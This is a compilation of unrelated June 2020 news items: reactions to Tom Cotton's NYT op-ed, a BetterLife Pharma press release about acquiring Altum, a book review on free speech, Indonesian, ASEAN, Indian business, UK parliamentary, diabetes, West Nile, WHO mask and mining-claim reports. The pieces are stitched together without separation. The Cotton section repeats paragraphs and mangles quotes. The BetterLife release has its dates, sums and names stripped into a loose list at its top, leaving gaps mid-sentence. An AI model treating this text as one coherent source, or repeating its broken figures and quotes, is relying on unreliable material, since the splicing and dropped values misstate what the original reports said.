Cotton's op-ed was eviscerated on Twitter by the New York Times community and many readers declared their intent to stop reading the publication altogether.

Op-ed contributor and author Roxane Gay declared that the op-ed but black staff at the New York Times in danger.

Gay continued: 'As a NYT writer I absolutely stand in opposition to that Tom Cotton 'editorial.'

We are well served by robust and ideologically diverse public discourse that includes radical, liberal, and conservative voices.

'This is not that. His piece was inflammatory and endorsing military occupation as if the constitution doesn't exist.'

Many pointed out that the op-ed was released on the 31st anniversary of the Tiananmen Square protests of 1989 when Chinese troops killed thousands of young protesters who they claimed had been 'rioting.'

'The decision to publish @SenTomCotton calling for troop deployments to quell unrest falls short of sound journalistic practice,' said former NYT's Op-Ed Editor Sewell Chan.

'It calls for 'an overwhelming show of force to disperse, detain and ultimately deter lawbreakers' but offers no evidence that existing law enforcement effortsby National Guard troops, county sheriffs, city police departmentsis failing,' Chan continued.

'As @EsperDoD said today: 'The option to use active duty forces in a law enforcement role should only be used as a matter of last resortand only in the most urgent and dire of situations.

'We are not in one of those situations now. I do not support invoking the Insurrection Act.''

Chan said that the NYT has published controversial and provocative perspectives in the past - and especially during his time as editor.

'But he asserted that Cotton's piece was not 'original' or 'timely.'

'It might have been 2 days ago, but Pentagon, @EsperDoD and Mattis have been clearly pushing back,' he added.

'The governors haven't asked for military deploymentsin fact, several told Trump it would make things much worse'.

'#TruthMatters, and I will always read @nytimes. But the richest, largest and most powerful newspaper in America needs to exercise discretion and prudence in the use of its platform. This fell far short.'

Brian Schatz, a Senator from Hawaii, shared that he had sent numerous 'non-fascist opinion pieces to the Times,' calling Cotton's piece 'sour grapes.'

He shared that he had done one on climate, one for medicaid and one for debt free college.

Others rebuked the Times leadership for running the piece at all.

'You think that Cotton is using the Times' neutered bothsidesism to call for domestic massacres but in fact the Times ownership and leadership are using Tom Cotton to launder their own desire for and advocacy of domestic massacres in the name of order and getting back to Cipriani,' stated author Jacob Bacharach.

A.G. Sulzberger, publisher for the New York Times, sent a letter to the company saying that while he stood behind the publishing of the piece, he was listening to black employees at the company.

Gay continued: 'As a NYT writer I absolutely stand in opposition to that Tom Cotton 'editorial.' We are well served by robust and ideologically diverse public discourse that includes radical, liberal, and conservative voices

'This is not that. His piece was inflammatory and endorsing military occupation as if the constitution doesn't exist'

Many pointed out that the op-ed was released on the 31st anniversary of the Tiananmen Square protests of 1989 when Chinese troops killed protesters

'It is clear many believed this piece fell outside the realm of acceptability, representing dangerous commentary in an explosive moment that should not have been found in The Times,' he said. 'Even as a counterpoint to our own institutional view.

He added: 'It's essential that we listen to and reflect on the concerns we're hearing, as we would with any piece that is subject of significant criticism. I will do so with an open mind.'

'Our journalistic mission  to seek the truth and help people understand the world  could not be more important than it is in this moment of upheaval.'

'The decision to publish @SenTomCotton calling for troop deployments to quell unrest falls short of sound journalistic practice,' said former NYT's Op-Ed Editor Sewell Chan

Brian Schatz, a Senator from Hawaii, shared that he had sent numerous 'non-fascist opinion pieces to the Times,' calling Cotton's piece 'sour grapes'
VANCOUVER, BC

June 4, 2020

May 25, 2020

Greater China

Japan

$36.1 million

May 25, 2020

Robert Metcalfe

Vancouver, British Columbia

Friday May 15, 2020

Wuhan, China

between January 16 and February 20, 2020

April 2018

October 2019

/PRNewswire/ - BetterLife Pharma Inc. ("BetterLife" or the "Company") (CSE: BETR) (OTCQB: PVOTF) (FSE: NPAT) is pleased to provide an update to its press release ofwhereby BetterLife announced that it secured "hard" lock-up agreements from shareholders of Altum Pharmaceuticals Inc. ("Altum") representing 67.12% of the outstanding common shares of Altum. BetterLife obtained these lock-up agreements as it had reason to believe that the independent members of the Board of Altum were attempting to cancel the licensing agreement between BetterLife and Altum pursuant to which BetterLife was to acquire worldwide rights (other than inand ASEAN countries) to commercialize and sell AP-003, a potential COVID-19 treatment (the "Licensing Agreement").BetterLife approached the members of the Board of Altum (other than Mr. Doroudian) to discuss a "merger of equals" transaction, pursuant to which BetterLife would issue 4.582 common shares of BetterLife for each Altum common share, which represented approximatelyin value based on the proposed share exchange as at. BetterLife and the members of the Board of Altum (other than Mr. Doroudian) could not agree on terms, despite the fact that the lock-up agreements given to BetterLife satisfied the legal test for BetterLife to acquire Altum and despite the importance to society that the work on AP-003 begin immediately in order to better understand its potential as a COVID-19 treatment.BetterLife understands that in response to the actions of the directors of Altum (other than Mr. Doroudian), Ortac Capital Corp., one of the shareholders of Altum that signed a lock-up agreement with BetterLife, and other shareholders of Altum, representing in aggregate approximately 65.3% of the issued and outstanding shares of Altum, have requisitioned a meeting of shareholders of Altum in order to, among other things remove the directors of Altum (other than Mr. Doroudian) in order to ensure that the wishes of the overwhelming majority of shareholders to complete the transaction with BetterLife are met.The proposed transaction to acquire all the shares of Altum is subject to the receipt of all required approvals and with BetterLife being satisfied with the results of its due diligence. BetterLife has reviewed published scientific claims and materials available publicly on Altum's pipeline of products.Should Altum be acquired by BetterLife, Altum would become a wholly-owned subsidiary of BetterLife and BetterLife would have the ability to use and exploit all of Altum's assets (described in further detail below), including AP-003 without restriction and without any further payment by BetterLife to Altum or any need to obtain a license from Altum. Accordingly, should BetterLife acquire Altum the Licensing Agreement would no longer be required and neither BetterLife nor Altum would have any obligations thereunder.Mr., the lead director of BetterLife commented "I am very pleased that such an overwhelming number of the Altum shareholders have decided to take these actions to express their support and commitment to the merger with BetterLife so that we may work together expeditiously on AP-003 so that we may better understand its potential as a COVID-19 treatment for the benefit of patients and for society at large."Formed in 2016, Altum is a privately-held company headquartered in, Canada. Altum's pipelines consists of three products:Altum's current lead product AP-003, is a patent pending proprietary Interferon a2b (IFN a2b) inhalation formulation. In recent studies IFN a2b has been shown to be effective in slowing viral replication. In the study publishedin Frontiers of Immunology titled "Interferon-a2b Treatment for COVID-19", the authors examined the course of disease in a cohort of 77 individuals with confirmed COVID-19 admitted to Union Hospital, Tongii Medical College,. To the knowledge of the authors the findings presented in the study were the first to suggest therapeutic efficacy of IFN-a2b in COVID-19 disease. Altum is planning a randomized, double-blind, placebo controlled trial of AP-003 in early stage COVID-19 patients to start in the near future.: Altum's first product AP-001 is a topical IFN a2b product for the treatment of Human Papiloma Virus (HPV) infection that can cause cervical cancer. In 2017, Altum acquired the BiPhasix platform from Helix Biopharma. The BiPhasix technology is a novel encapsulation and delivery platform technology. BiPhasix-encapsulated interferon IFN a2b for use in treatment of HPV-cervical dysplasia. AP-001 has completed Phase 2.: In, Altum acquired Lexi Pharma Inc., a therapeutics company focused on development of treatments for bone related disorders. Lexi's lead product, AP-002, is an oral gallium-based novel small molecule. AP-002 has US IND approved and has started Phase 1-2 inin the US in cancer patients with advanced or recurrent solid tumours.For further information please visit altumpharma.com.The Company is not making any express or implied claims that Altum's AP-003 or any other product has the ability to eliminate, cure or contain the COVID-19 (or SARS-2 Coronavirus) at this time. Further, the safety and efficacy of Altum's AP-003 are under investigation and market authorization has not yet been obtained.BetterLife Pharma Inc. is a science-based innovative medical wellness company aspiring to offer high-quality preventive and self-care products to its customers. For further information please visit abetterlifepharma.com.Except for historical information, the matters set forth above may be forward-looking statements that involve risks and uncertainties that could cause actual results to differ from those in the forward-looking statements. Such forward-looking statements are based on the current beliefs of management, as well as assumptions made by and information currently available to management. Actual results could differ materially from those contemplated by the forward-looking statements as a result of certain factors, such as the failure to complete the transaction with Altum or to meet obligations under the agreement with Altum, the failure of Altum to hold a meeting of its shareholder, the failure of the shareholders of Altum approving the matters before them, the failure of Altum to complete clinical trials or to have success in such trials, the failure of Altum to secure and/or enforce patent protection for AP-003, the failure of Altum to secure exclusive rights from third parties, the failure of the Company to secure financing needed to carry out the plans set out herein, the failure to meet the conditions imposed by the CSE or other securities regulators, the level of business and consumer spending, the amount of sales of BetterLife's products, statements with respect to internal expectations, the competitive environment within the industry, the ability of BetterLife to commence and expand its operations, the level of costs incurred in connection with BetterLife's operational efforts, economic conditions in the industry, pandemics, and the financial strength of BetterLife's future customers and suppliers. Reliance should not be placed on forward-looking statements, as they involve known and unknown risks, uncertainties and other factors that may cause the actual results to differ materially from the anticipated future results expressed or implied by such forward-looking statements. Factors that could cause actual results to differ materially from those set forward in the forward-looking statements include, but are not limited to: our ability to obtain, on satisfactory terms or at all, the capital required for research, product development, operations and marketing; general economic, business and market conditions; our ability to successfully and timely complete clinical studies; product development delays and other uncertainties related to new product development; our ability to attract and retain business partners and key personnel;  the risk of our inability to profitably commercialize our proposed products; the risk that our proposed clinical trials will not be launched in a timely manner (or at all) or if launched yield positive results or that we will not obtain regulatory market approvals for our products; the extent of any future losses; the risk of our inability to establish or manage manufacturing, development or marketing collaborations; the risk of delay of, or failure to obtain, necessary regulatory approvals and, ultimately, product launches; dependence on third parties for successful commercialization of our products; inability to obtain product and raw materials in sufficient quantity or at standards acceptable to health regulatory authorities to commence and complete clinical trials or to meet commercial demand; the risk of the termination or conversion of our license with Altum or our inability to enforce our rights under our license with Altum; our ability to obtain patent protection and protect our intellectual property rights; commercialization limitations imposed by intellectual property rights owned or controlled by third parties; uncertainty related to intellectual property liability rights and liability claims asserted against us; the impact of competitive products and pricing; and future levels of government funding; additional risks and uncertainties, many of which are beyond our control.Except as required by law, we undertake no obligation to publicly update any forward-looking statements, whether as a result of new information, future events or otherwise.

View original content:http://www.prnewswire.com/news-releases/betterlife-pharma-updates-shareholders-on-its-proposed-acquisition-of-altum-301070523.html



SOURCE BetterLife Pharma Inc.




Giving the Devil His Due

By Michael Shermer

Cambridge. 358 pp. $24.95

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Saving Free Speech ... from Itself

By Thane Rosenbaum

Fig Tree. 306 pp. $24.95

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On Aug. 11, 2017, white nationalists converged on Charlottesville, Virginia, for a "Unite the Right" rally to protest the town's decision to remove a statue of Confederate Gen. Robert E. Lee. Carrying torches and chanting "Jews will not replace us," they faced off against counterprotesters. As the testy standoff erupted into violence the next day, a neo-Nazi rammed a car into a crowd, killing Heather Heyer and injuring dozens of others.

When President Donald Trump refused to unequivocally condemn the white supremacists, declaring instead that "very fine people" populated both groups of demonstrators, he catapulted the episode into another flash point in the nation's toxic political discourse.

Alongside the growing awareness of extremist groups ranging from white nationalists to Islamic terrorists, the incident triggered a new round of debates over free speech. Reaffirming the current state of the law, some commentators argued that no matter how detrimental they might be, white nationalists were entitled to speak freely as long as they refrained from inciting violence.

But the showdown in Charlottesville also gave new impetus to a small but increasingly popular viewpoint, particularly on college campuses dominated by speech codes, political correctness and protests leading to the cancellation of guest speakers. This view maintained that hate speech directed at vulnerable individuals was undeserving of the First Amendment's protection.

In two new books, Michael Shermer and Thane Rosenbaum reside in these opposing camps. Largely eschewing the traditional constitutional and philosophical talking points of this debate, their fresh perspectives are a welcome contribution but ultimately fall short of finding a solution. The shortcoming stems not from their ideas, which are well-presented and instructive, but from the inherent difficulty of developing standards to restrict deleterious speech while preserving legitimate - albeit unpopular or provocative - discourse.

This is the free-speech dilemma confounding America.

In "Giving the Devil His Due: Reflections of a Scientific Humanist," a collection of previously published essays and articles, Shermer skims over the usual constitutional analysis to instead cast free speech as the cornerstone of democracy and knowledge. People communicate "through speech and writing," he explains. "Thus, free thought and free speech are . . . the ground of all other rights."

The product of a polymath, Shermer's book delves into far-flung topics: archaeology, creationism and even Martian colonization. The connection to free speech is tenuous until a pattern emerges. No matter how outlandish or disagreeable a theory may appear to Shermer - he labels Scientology a "cult," for instance - he is willing to debate its merits, something he did regularly as the publisher of Skeptic, a magazine debunking pseudoscientific claims. Shermer believes that this engagement sharpens his arguments and strengthens his understanding of a subject. "We are all wrong some of the time," he notes. The only way to overcome this "human fallibility" is to test our propositions "in the marketplace of ideas." In essence, Shermer applies the tools of the scientific process - the uninhibited exchange of ideas in which hypotheses are persistently tested - to the political arena. To him, free speech "is inviolable for science and politics."

This is a compelling but imperfect outlook.

Unlike scientists, bigots preaching violence and spewing venom are uninterested in this civil exchange of ideas, a point Rosenbaum reiterates throughout "Saving Free Speech . . . From Itself." To Rosenbaum, a law professor and public intellectual, hatemongers have twisted a constitutional right formulated to enlighten our political dialogue into a weapon of oppression. "We have repeatedly confused and conflated hostile acts with free speech," Rosenbaum contends, and "have allowed the First Amendment to provide cover for those who do violence and disguise it as political expression."

The first of Rosenbaum's two solutions echoes that of like-minded critics. He calls for narrowly tailored restrictions on those intending "to cause harm - either by threatening and intimidating certain targeted audiences . . . or when speech is being deployed in order to deprive vulnerable groups of their dignity, self-respect, and social status."

Far more novel is his recommendation to create a private cause of action for the emotional damage caused by hate speech. Since this "psychological harm is equal in intensity to that experienced by the body," he argues, and since these wounds can now be measured through brain scans, victims should have the right to pursue legal remedies just as they would for physical injuries.

Rosenbaum is keenly aware of the unpopularity of his approach. "Any criticism of the First Amendment is instantly regarded as seditious in our political culture," he laments, in part because of the Supreme Court's jurisprudence during the past century. Instead of restraining those who poison our public dialogue, the justices have treated every speaker - "an assortment of white supremacists and Nazi wannabes - like an Edison or Einstein."

While Shermer's perspective embodies America's deeply entrenched enthusiasm for free speech, Rosenbaum's contrarian approach also offers sensible recommendations.

When they're read side by side, the free-speech dilemma remains unresolved: To shield people from hate speech, who should determine what speech is constitutionally protected and what standards should be used to make that determination? The last time the Supreme Court undertook a similar task, it ended in futility. In trying to distinguish between obscenity, which could be barred, and artistic speech, which would be safeguarded by the First Amendment, Justice Potter Stewart admitted in exasperation: "I know it when I see it." After enduring criticism from social conservatives and ridicule for watching pornographic films to resolve a litany of censorship cases involving erotica throughout the 1960s, the justices ultimately abandoned the development of a bright-line test. Any effort to establish standards regulating political speech today seems even more daunting.

Besides the difficulty of establishing workable criteria, history has revealed time and again the temptation to muzzle the voices of those challenging deeply entrenched social norms. Over the years, suffragists, civil rights activists, antiwar protesters and LGBT advocates were censored not just by sexists, racists and bigots but also by well-meaning detractors who bristled at their tactics or found their revolutionary ideas offensive, threatening or unpatriotic.

Perhaps nothing exemplified this dynamic more than McCarthyism. Understandable fears of Soviet aggression after World War II regrettably paved the way for the prosecution of political speech, blacklists of writers and professors, and widespread self-censorship. Or consider Ronald Reagan's response to student activism at the University of California at Berkeley: "Neither academic freedom nor the preservation of free speech can justify letting malcontents, beatniks, and filthy speech advocates disrupt the academic community," Reagan declared during his 1966 gubernatorial campaign. Saying these students posed a threat to democracy, he complained that the "administration should have taken the leaders by the scruff of their necks and kicked them out."

As a stout defender of free speech, Frederick Douglass confronted the same quandary that emerges from reading Shermer and Rosenbaum. "No right was deemed by the fathers of the government more sacred than the right of speech," Douglass uttered days after a mob shut down an abolitionist meeting in Boston out of fear that the assembly would offend the Southern states then contemplating secession. Noting that a horde of "gentlemen of great distinction" respectful of "law and order" - and not radicals or troublemakers - had obstructed the gathering, he warned that there "can be no right of speech where any man, however lifted up or however humble, however young or however old, is overawed by force, and compelled to suppress his honest sentiments." Coming at a time with parallels to America's current discord, his response to the free-speech dilemma resonates today as much as it did on the eve of the Civil War.

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Bobelian teaches journalism at Baruch College and is the author of "Battle for the Marble Palace: Abe Fortas, Earl Warren, Lyndon Johnson, Richard Nixon and the Forging of the Modern Supreme Court."
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Linkedin (The Jakarta Post)  Fri, June 5 2020

Never again  thats the message from Wednesdays ruling by the Jakarta State Administrative Court, that the Indonesian state should never again impose an internet blackout as it did last August and September, on the grounds of curbing further unrest following massive demonstrations in response to the racist abuse of Papuan students by authorities in Surabaya, East Java.

The government had violated the 1959 State Emergency Law, the court said, as it failed to prove that the country was in a state of emergency, which would have justified the blackout. The court ruled that the government cannot limit peoples right to information based solely on its discretion. Such a decision must be based on the law; thus, President Joko Jokowi Widodo and the Communications and Information Ministry were found to have acted illegally.

The blackouts crippled access to vital information and press coverage in the provinces of Papua and West Papua, affecting 29 cities and regencies from Aug. 21 to Sept. 4, and another six regencies and cities from Sept. 4 to 9. The ensuing riots and tough security response left at least 33 people dead and displaced thousands of people, both indigenous Papuans and others.

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Economic ministers of the 10 member states of the Association of Southeast Asian Nations (ASEAN), China, Japan and South Korea on Thursday reaffirmed the importance of open markets amid the COVID-19 pandemic and the need for efforts against the epidemic's adverse impact.



The economic ministers held an online meeting on Thursday, chaired by Vietnamese Minister of Industry and Trade Tran Tuan Anh, and adopted the ASEAN Plus Three Economic Ministers' Joint Statement on Mitigating the Economic Impact of the COVID-19 Pandemic.

In the joint statement, the ministers acknowledged that there is an "urgent need" for intensified and concerted efforts to address the adverse impact of the COVID-19 pandemic on their people, including "economic disruptions that have affected regional supply chains, the financial markets and human capital."

The ministers reaffirmed the importance of keeping the markets open for trade and investment to strengthen the resiliency and sustainability of regional supply chains and maintain necessary flow of goods and services.

They agreed to refrain from taking unnecessary measures that may affect the smooth flow of essential goods such as food, commodities, medicines and medical supplies in the region, and to continue to address non-tariff barriers, especially those impeding the smooth flow of goods and services.

They encourage close coordination, especially among the customs agencies, to continue promoting trade facilitation measures, especially at land borders, according to the statement.

Noting the importance of facilitating essential movement of business people across borders, the ministers encourage their governments to establish relevant guidelines that would allow essential cross-border travel without undermining anti-epidemic efforts.

According to the statement, the ministers agree to support businesses, particularly the micro, small and medium-sized enterprises and the vulnerable economic sectors, and welcome knowledge sharing and exchanges of best practices on policies and programs to manage the pandemic's adverse effects on economic activities.

They also welcome efforts to effectively utilize the ASEAN Plus Three Emergency Rice Reserve to overcome possible food shortages and help ensure food security in the region during emergencies, said the statement.

The ministers agree to identify and pursue initiatives to strengthen joint efforts toward post-pandemic recovery in the region, and to jointly restore economic growth by enhancing regional trade and economic cooperation through a series of measures, including addressing trade barriers, promoting trade and investment, and expanding fields of cooperation.

They also remain committed to the signing of the Regional Comprehensive Economic Partnership (RCEP), a proposed free trade agreement (FTA) between the 10 ASEAN member states and their six FTA partners -- China, Japan, South Korea, Australia, New Zealand and India, in 2020, according to the statement.

ASEAN, which was founded in 1967, groups Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam.
Bengaluru: IT firm Hexaware Technologies Ltd said on Friday it would consider a bid from its promoter HT Global IT Solutions Holdings Ltd to buy the remaining stake that it does not own in the company, sending its shares up as much as 20%.

HT Global, a holding company for Baring Private Equity Asia, has offered 285 rupees per share, or a 9.8% premium to Thursday`s closing price, to buy the rest of the shares, Hexaware said in a regulatory filing.

The offer values the Mumbai-based company at 85.04 billion rupees ($1.13 billion). HT Global holds 62.4% stake in Hexaware as of March 31 and will have to pay 31.94 billion rupees to buy the remaining stake.

Hexaware said its board will consider the proposal to delist the company on June 12.

Shares of the company were locked in upper circuit at a five-week high of 311.4 rupees in morning trade, after having dropped around 22% this year, compared with a 6.6% fall on the Nifty IT index.
A new expert-led report has today been launched to help outline key challenges and inequalities in the care of type 2 diabetes mellitus (T2DM) and its associated renal and cardiovascular complications, and highlight some Calls to Action to try and address these gaps for the 53 million Europeans living with T2DM.

A New Era in Diabetes Care is a non-promotional disease awareness initiative that brings together a European Multidisciplinary Steering Committee of diabetes, nephrology and primary care experts, funded by Mundipharma International Limited. The report, authored by the Steering Committee, explores five main areas within the management of T2DM, chronic kidney disease (CKD) and cardiovascular disease (CVD):

Healthcare professional and patient education on CKD and its signs

Effective testing and interpretation of markers (clinical indicators) of CKD

Greater understanding of the clinical management model amongst HCPs

Use of shared decision-making to create an appropriate care plan for people with T2DM

Regular monitoring and review of key performance indicators (KPIs) / treatment outcomes

The complications of type 2 diabetes, such as chronic kidney disease and cardiovascular disease, are a huge burden on patients and healthcare systems and with the increasing prevalence of the disease, the situation is expected to get worse. These two complications are directly linked, so by treating and slowing progression of chronic kidney disease, clinicians may also reduce the risk of cardiovascular disease, which is the leading cause of death in these patients. This report highlights how critical it is for physicians to screen early for chronic kidney disease, treat appropriately, and regularly review treatment outcomes in their patients, to prevent the development of serious complications. Professor David Wheeler, Chair of the A New Era in Diabetes Care Steering Committee, and Professor of Kidney Medicine at University College London, Honorary Consultant Nephrologist at the Royal Free NHS Foundation Trust, London, UK.

The Steering Committee also discussed the management of T2DM and its complications through the lens of COVID-19, and agreed that annual screening for CKD should continue to take place while also protecting people with T2DM, by following the relevant shielding guidelines and using telemedicine where appropriate.

Approximately 59 million people in Europe currently live with diabetes, which is set to rise to 67 million by 2045. If left untreated, patients are at greater risk of developing serious health complications, such as renal disease and cardiovascular disease, which are the two most common causes of death for T2DM patients. It is estimated that more than 40% of people with T2DM will develop CKD, and nearly a third will develop CVD.

As part of the A New Era in Diabetes Care initiative, Mundipharma conducted a general public survey of 9,143 adults in eight countries across Europe, which uncovered several gaps in the awareness of T2DM and its links with other systemic complications such as CKD and CVD. Nearly half of survey respondents (42%, n=3,840) were unaware there are two main types of diabetes (type I and type 2) and almost all (94%, n=8,594) were unaware that nine out of 10 people with diabetes have T2DM. When asked what they thought were the most serious complications of T2DM, only a third (32%, n=2,926) of respondents chose CKD, and less than half (46%, n=4,206) chose CVD, despite these being two of the main causes of death in this patient population.

Participants were also unsure when it came to the symptoms of CKD, with just 7% (n=640) correctly recognising that in the early stages of CKD, there are usually no symptoms, making it vital to conduct routine screening to diagnose it before it has progressed. In regard to treating CKD, almost half of respondents (43%, n=3,931) were unaware that although incurable, the worsening of the disease can be controlled by appropriate treatment and by managing blood pressure and blood sugar levels. The impact of CKD was also underestimated with only 29% (n=2,651) of people thinking it can have a major impact on someones mental health and less than half (47%, n=4,297) believing it to have a major impact on quality of life.

The findings of this expert-led report, in addition to the recent survey results, emphasise that in both healthcare settings and amongst the general public, the kidneys are not top of the agenda when it comes to type 2 diabetes mellitus. This report aims to provide primary and secondary healthcare professionals with a structured care plan for patient-focused prevention, monitoring and treatment of chronic kidney disease in type 2 diabetes, Dr Vinicius Gomes de Lima, European Medical Affairs Lead, Mundipharma.

The report can be downloaded here: https://www.dcvd.org/tl_files/ download/Bilder/A%20New%20Era% 20in%20Diabetes%20Care% 20Report.pdf
Under-fire: As Leader of the House, Conservative minister Jacob Rees-Mogg is responsible for arranging government business in the House of Commons. Photo: House of Commons/PA Wire

Jacob Rees-Mogg has faced calls to resign over his handling of the House of Commons' return during the Covid-19 pandemic.

The Commons Leader was challenged by Labour over the "shambolic" long queues UK MPs had to form to vote - dubbed the "coronavirus conga" - while former Liberal Democrat minister Alistair Carmichael likened the scenes to "exercise hour in a category C prison for white collar criminals".

Speaker Lindsay Hoyle has granted Mr Carmichael's application for an emergency debate on how the Commons operates during the coronavirus outbreak, with the discussion scheduled for Monday.

Complaints have been made about requiring members to travel across the UK to attend Westminster in person after the government dropped virtual proceedings, which let them contribute remotely via Zoom and vote online.

Social distancing requirements limit MPs in the chamber to 50 and Business Secretary Alok Sharma left a Commons debate on Wednesday to undergo a coronavirus test after being taken ill.

Former Labour minister Angela Eagle told the Commons: "The current Leader of the House is rapidly building a strong claim to the title of the worst holder of the job in living memory.

"He is supposed to be the voice of the government and the Commons in government as well as a member of the government and he's failing dismally at that task.

"He illegally shut down parliament, then unilaterally abolished the perfectly fair system of electronic voting and hybrid proceedings developed to ensure at least some scrutiny of the government during the pandemic."

Ms Eagle referred to the "coronavirus conga" and warned it put at risk the health of MPs and parliamentary staff, adding Mr Rees-Mogg's "arrogance" was to blame.

She added: "Can he show some bravery and make time next week for us to debate his disastrous record and perhaps even call for his resignation?"

Mr Rees-Mogg replied: "What she has said is so overcooked, exaggerated, we poor members, we couldn't queue for a little time to do our public duty - how hard was it?"
Admiral Capital Group (Admiral) announced today its core-plus investment platform (A2R) has received two loans totaling $41.3 million for the refinance of The Madison (Madison), a Class A office property in Phoenixs Camelback Corridor and for the refinance of Balboa Executive Center (Balboa), a Class A office property in San Diegos Kearny Mesa submarket. The refinancing represents a significant achievement for A2R as the transaction closed in the midst of the COVID-19 global pandemic. JLLs Brent Bowman secured the financing for A2R.

A2R is implementing procedures across the portfolio to provide a clean and safe environment for tenants, as workplaces begin to reopen across the country. A2R intends to use a portion of the refinance proceeds to make modifications to Madison and Balboa to further enhance the common areas and amenities to ensure that tenants have adequate indoor and outdoor areas for breaks and collaboration, while incorporating select distancing design features.

Located at 5343 & 5353 N. 16th Street, The Madison comprises two buildings totaling 177,312 square feet. The property was recently renovated and features a 40-person training room facility, a conferencing center, and an on-site deli. Located at 9444 Balboa Avenue, Balboa Executive Center comprises one, five story building totaling 120,992 square feet. The property was recently renovated and features a gym and outdoor seating. The properties were a combined 88% leased at the time of the financing.

About Admiral Capital Group

Admiral Capital Group is a real estate and private equity investment firm formed in 2008. Admirals seasoned investment team identifies relative value and attractive risk-adjusted returns though its extensive network, in-depth research, and local market knowledge. To date, the firm has acquired over $1.8 billion of real estate assets and has a growing portfolio of strategic private equity investments in operating companies. Admiral seeks to create long-term value for its investors, partners, and communities in which it operates. The founders of Admiral have pledged 10% of their profits to philanthropic causes with a primary focus on supporting education and lower-income communities.
LAPEER COUNTY, MI -- Michigan health officials say theyve confirmed the first 2020 case of West Nile virus in a captive hawk from Lapeer County.

It only takes one bite from an infected mosquito to cause a severe illness, said Dr. Joneigh Khaldun, chief medical executive for the Michigan Department of Health and Human Services, in a news release from the state Friday, June 5. We urge Michiganders to take precautions such as using an EPA-registered insect repellent when outdoors.

Last year, the state did not report the first detection of West Nile until mid-June.

West Nile is the leading cause of mosquito-borne disease in the continental United States, according to the Centers for Disease Control and Prevention. It is most commonly spread to people by the bite of mosquitoes that have bitten an infected bird.

The virus can cause illness three to 15 days after the mosquito bite, according the DHHS. Adults age 60 and older are at the highest risk, but anyone can get sick from it and symptoms include high fever, confusion, muscle weakness and a severe headache.

Although West Nile is common in Michigan, in 2019 the state experienced the worst outbreak of Eastern Equine Encephalitis virus ever recorded with cases confirmed in 20 counties -- 50 cases in animals and 10 people infected, including six deaths.

DHHS said no EEE cases have been detected so far in 2020 in Michigan, but warned the virus -- also acquired through mosquito bite -- is typically detected later in the summer.

The state news release announcing the first case of West Nile says people can take the following precautions to prevent the virus:

Use EPA-registered insect repellents with one of the following active ingredients: DEET, picaridin, IR3535, oil of lemon eucalyptus or para-menthane-diol or 2-undecanone; follow the product label instructions and reapply as directed.

Dont use repellent on children under 2 months old. Instead dress your child in clothing that covers arms and legs and cover crib, stroller and baby carrier with mosquito netting.

Wear shoes and socks, light colored long pants and a long-sleeved shirt when outdoors.

Make sure doors and windows have tight-fitting screens.

Use bed nets when sleeping outdoors or in conditions with no window screens.

Eliminate all sources of standing water that can support mosquito breeding around your home, including water in bird baths, abandoned swimming pools, wading pools, old tires and any other object holding water once a week.

West Nile virus detected across Michigan in mosquitoes, goose

Human case of West Nile Virus confirmed in Bay County is first this year, fifth in Michigan

Mosquitoes carrying West Nile Virus discovered in Kent County
The World Health Organization (WHO) updated its guidance on Friday to recommend that governments ask everyone to wear fabric face masks in public areas where there is a risk of transmission of COVID-19 to help reduce the spread of the pandemic disease.

In its new guidance, prompted by evidence from studies conducted in recent weeks, the WHO stressed that face masks were only one of a range of tools that can reduce the risk of viral transmission, and should not give a false sense of protection.

"Masks on their own will not protect you from COVID-19," the WHO's director-general Tedros Adhanom Ghebreyesus told reporters at a briefing.

The WHO's technical lead expert on COVID-19, Maria Van Kerkhove, said in a Reuters interview: "We are advising governments to encourage that the general public wear a mask. And we specify a fabric mask - that is, a non-medical mask.

"We have new research findings," she added. "We have evidence now that if this is done properly it can provide a barrier ... for potentially infectious droplets."

While some countries and U.S. states have recommended or mandated the wearing of face coverings in public, the WHO had previously said there was not enough evidence for or against the use of masks for healthy people in the wider community. It had always recommended that medical masks be worn by people who are sick and by those caring for them.

Britain has said masks will be compulsory for passengers on buses, trains, aircraft and ferries in England from June 15.

The U.N. agency's advice that all healthcare workers dealing with COVID-19 patients, or with suspected cases of the respiratory disease caused by the novel coronavirus, should wear medical masks remains the same, Van Kerkhove said.

But the advice has been broadened to recommend staff coming into contact with any patients or residents in clinics, hospitals, care homes and long-term residential facilities should also wear masks at all times, she said.

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VANCOUVER, BC / ACCESSWIRE / June 5, 2020 / Ximen Mining Corp. (TSXV:XIM)(FRA:1XMA)(OTCQB:XXMMF) (the "Company" or "Ximen") is pleased to announce that it has acquired 100% interest in a property covering several historic gold-silver mines and prospects near Ymir in southern British Columbia.

The new property consists of 11 mineral claims covering approximately 1,600 hectares, and covers the Protection (Goodenough), Blackcock, Arizona, Ymir-Good Hope, Commodore and part of the Ymir historic mines. The claims also cover four other known prospects with similar styles of mineralization including the Ymir Belle prospect from which a small amount of production was recorded. The past production and calculated grades are presented in the table below.

Mine Tonnes

Mined Tonnes

Milled Oz Gold

Produced Gold Grade

Grams/tonne Oz Silver

Produced Silver Grade

grams/tonne Ymir (not Ximen) 327,646 325,101 109,644 10.49 459,238 43.94 Protection 14,788 N/A 10,719 22.54 82,824 174.20 Blackcock 2,614 1,095 1,024 29.09 3,127 88.82 Arizona 296 230 148 20.02 232 31.37 Ymir- Good Hope 41 8 29 112.75 127 493.75 Ymir Belle 9 N/A 7 24.22 10 34.55 Commodore 45 N/A 2 1.38 237 163.80

Notes: N/A = Not Available; calculated grades based on tonnes milled if available, otherwise tonnes mined

Map showing new property acquisition and current Ximen properties in Nelson-Salmo area.

The new property also covers a tailings deposit from the historic Wilcox mine. The Wilcox Mine was a small, high-grade gold producer with a mill that processed about 14,555 tonnes of ore between 1900 and 1940.

In 2005, the resource potential of the tailings deposit was estimated in a report titled "Wilcox Mine Tailings - Gold Resource Evaluation" by Doug Warkentin, P.Eng., of Crucible Engineering Services, Vancouver, B.C. Canada., dated September 17,2005. The average grade of the tailings deposit was estimated at 3.09 grams gold per tonne, based on multiple assays of samples collected on a grid pattern. The tonnage was estimated at 12,387 tonnes, based on depth and specific gravity measurements. The in-situ gold potential was then estimated as 1230 ounces of gold. An average gold recovery rate of 80% was projected based on metallurgical test results available.

